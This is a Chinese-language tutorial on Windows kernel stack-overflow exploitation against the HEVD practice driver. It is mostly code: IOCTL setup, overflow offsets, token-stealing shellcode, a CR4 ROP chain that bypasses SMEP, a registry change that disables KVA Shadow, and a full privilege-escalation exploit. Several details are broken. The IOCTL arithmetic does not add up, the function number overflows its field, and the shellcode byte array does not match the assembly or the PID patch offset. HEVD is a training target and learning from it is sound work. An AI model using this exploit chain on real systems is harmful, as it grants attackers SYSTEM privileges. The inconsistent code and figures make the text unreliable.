从零探索现代windows内核栈溢出-以HEVD练习为例(中)
字数 1613 2025-08-23 18:31:17
Windows内核栈溢出漏洞利用教程 - 以HEVD为例
1. 准备工作
1.1 理解内核交互基础
在开始内核漏洞利用前,需要了解与Windows内核的交互方式:
- 通过设备驱动程序的设备链接进行通信
- 使用
CreateFileW打开设备链接 - 使用
DeviceIoControl发送控制代码(IOCTL)与驱动交互
1.2 HEVD驱动简介
HEVD (HackSys Extreme Vulnerable Driver)是一个故意设计有漏洞的驱动程序,用于安全研究:
- 包含多种类型的内核漏洞
- 本教程聚焦于栈溢出漏洞
- 位于
\\\\.\\My1DeviceLinker设备链接
2. IOCTL交互机制
2.1 IOCTL代码计算
Windows使用CTL_CODE宏定义IOCTL代码:
#define CTL_CODE(DeviceType, Function, Method, Access) \
((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method)
HEVD栈溢出漏洞的IOCTL代码计算:
- DeviceType:
FILE_DEVICE_UNKNOWN(0x22) - Function: 0x9888
- Method:
METHOD_BUFFERED(0) - Access:
FILE_ANY_ACCESS(0)
计算过程:
(0x22 << 16) | (0 << 14) | (0x9888 << 2) | 0
= 0x220000 | 0 | 0x26220 | 0
= 0x226220
逆向IOCTL到功能号的函数:
unsigned int io2num(unsigned int ioctl_num) {
return ((ioctl_num ^ 0x220000) >> 2) & 0xfff;
}
3. 漏洞分析
3.1 栈溢出漏洞点
HEVD驱动中的栈溢出漏洞:
- 驱动定义了一个固定大小的栈缓冲区(2048字节)
- 但写入大小由用户控制
- 没有进行边界检查,导致栈溢出
3.2 漏洞利用思路
利用步骤:
- 发送超过缓冲区大小的数据
- 覆盖返回地址
- 控制执行流
关键点:
- 需要计算精确的溢出偏移量
- 需要绕过现代Windows保护机制
4. 漏洞利用实现
4.1 基础利用代码
void StackOverflow(HANDLE hDevice, unsigned int ioctl) {
char stackspace[0x1000] = {0};
unsigned int size = 0x1000;
RtlFillMemory(stackspace, size, 'A');
DWORD info = 0;
DeviceIoControl(hDevice, ioctl, stackspace, size, NULL, 0, &info, NULL);
printf("info: %d\n", info);
}
4.2 调试技巧
使用WinDbg调试内核:
-
加载符号表:
.sympath+ <pdb文件路径> lm m HEVD -
常用命令:
- 查看内存:
dq/dqs <地址> L<长度> - 设置断点:
bp HEVD!TriggerBufferOverflowStack - 查看断点:
bl - 反汇编:
u <地址>或uf <函数> - 计算器:
? <表达式>
- 查看内存:
4.3 精确控制溢出
通过调试确定偏移量:
- 发送特定大小数据(如0x80)
- 观察栈布局
- 计算返回地址位置
最终确定:
- 填充0x810字节'A'
- 在0x818位置覆盖返回地址
5. Shellcode编写
5.1 Token窃取原理
通过替换进程Token实现提权:
- 查找System进程(pid=4)的Token
- 查找目标进程(如cmd.exe)的Token
- 将System的Token复制到目标进程
5.2 Shellcode实现
[BITS 64]
push rax
push rbx
push rcx
push rsi
push rdi
mov rax, [gs:0x180 + 0x8] ; Get 'CurrentThread' from KPRCB
mov rax, [rax + 0x220] ; Get 'Process' property from current thread
next_process:
cmp dword [rax + 0x2e0], 0x41414141 ; Search for target process (PID)
je found_cmd_process
mov rax, [rax + 0x2e8] ; Next process
sub rax, 0x2e8
jmp next_process
found_cmd_process:
mov rbx, rax ; Save target EPROCESS
find_system_process:
cmp dword [rax + 0x2e0], 0x00000004 ; Search for PID 4 (System)
je found_system_process
mov rax, [rax + 0x2e8]
sub rax, 0x2e8
jmp find_system_process
found_system_process:
mov rcx, [rax + 0x358] ; Take TOKEN from System
mov [rbx+0x358], rcx ; Copy to target process
pop rdi
pop rsi
pop rcx
pop rbx
pop rax
ret
5.3 Shellcode字节码
BYTE shellcode[256] = {
0x48, 0x31, 0xc0, 0x65, 0x48, 0x8b, 0x80, 0x88, 0x01, 0x00, 0x00, 0x48,
0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x49, 0x89, 0xc1, 0x48, 0x8b, 0x80,
0x48, 0x04, 0x00, 0x00, 0x48, 0x8b, 0x00, 0x48, 0x8b, 0x50, 0xf8, 0x49,
0x89, 0xc0, 0x48, 0x8b, 0x00, 0x48, 0x83, 0xfa, 0x04, 0x75, 0xf0, 0x49,
0x8b, 0x50, 0x70, 0x48, 0x83, 0xe2, 0xf8, 0x49, 0x8b, 0x89, 0xb8, 0x04,
0x00, 0x00, 0x48, 0x83, 0xe1, 0x07, 0x48, 0x01, 0xca, 0x49, 0x89, 0x91,
0xb8, 0x04, 0x00, 0x00, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01, 0x00,
0x00, 0x66, 0x8b, 0x88, 0xe4, 0x01, 0x00, 0x00, 0x66, 0xff, 0xc1, 0x66,
0x89, 0x88, 0xe4, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x90, 0x90, 0x00, 0x00,
0x00, 0x48, 0x8b, 0x8a, 0x68, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78,
0x01, 0x00, 0x00, 0x48, 0x8b, 0xa2, 0x80, 0x01, 0x00, 0x00, 0x48, 0x8b,
0xaa, 0x58, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f, 0x01, 0xf8, 0x48, 0x0f,
0x07, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};
6. 绕过保护机制
6.1 SMEP保护
SMEP (Supervisor Mode Execution Protection):
- 防止内核执行用户空间代码
- 通过CR4寄存器的第20位控制
- Windows 8及以上默认启用
6.2 绕过SMEP的方法
方法1:修改CR4寄存器
通过ROP链修改CR4:
- 找到
pop rcx; retgadget - 找到
mov cr4, rcx; retgadget - 构造ROP链:
*(unsigned long long*)(stackspace + 0x818) = (unsigned long long)pop_rcx_ret;
*(unsigned long long*)(stackspace + 0x820) = (unsigned long long)0x00000000002506f8; // CR4值
*(unsigned long long*)(stackspace + 0x828) = (unsigned long long)mov_rc4_rcx_ret;
*(unsigned long long*)(stackspace + 0x830) = (unsigned long long)shellcode_addr;
方法2:禁用KVA Shadow
通过注册表禁用:
- 创建/修改以下注册表项:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management - 添加DWORD值:
FeatureSettingsOverride= 3FeatureSettingsOverrideMask= 3
- 重启系统
7. 完整利用代码
void StackOverflow(HANDLE hDevice, unsigned int ioctl) {
char stackspace[0x1000] = {0};
DWORD oldProtect;
// 分配可执行内存存放shellcode
LPVOID shellcode_addr = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
memcpy(shellcode_addr, shellcode, sizeof(shellcode));
// 创建目标进程
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (!CreateProcessA(NULL, (LPSTR)"cmd.exe", NULL, NULL, TRUE,
CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
printf("[!] Error creating cmd.exe\n");
return;
}
// 更新shellcode中的PID
*(DWORD*)((char*)shellcode_addr + 27) = pi.dwProcessId;
// 构造溢出数据
unsigned int size = 0x820;
RtlFillMemory(stackspace, 0x810, 'A');
// 覆盖返回地址
*(unsigned long long*)(stackspace + 0x818) = (unsigned long long)shellcode_addr;
DWORD info = 0;
DeviceIoControl(hDevice, ioctl, stackspace, size, NULL, 0, &info, NULL);
printf("info: %d\n", info);
// 启动新的cmd shell
system("cmd.exe");
}
8. 总结与进阶
8.1 关键点回顾
- 理解内核驱动交互机制
- 精确计算溢出偏移量
- 编写有效的提权shellcode
- 绕过现代保护机制(SMEP)
8.2 进阶方向
- 自动化查找ROP gadget
- 研究其他内核保护机制的绕过方法
- 探索其他类型的内核漏洞
- 研究更稳定的利用技术
8.3 参考资源
- Windows威胁防护概述
- Intel SMEP技术文档
- 英特尔® 64位和IA-32架构开发人员手册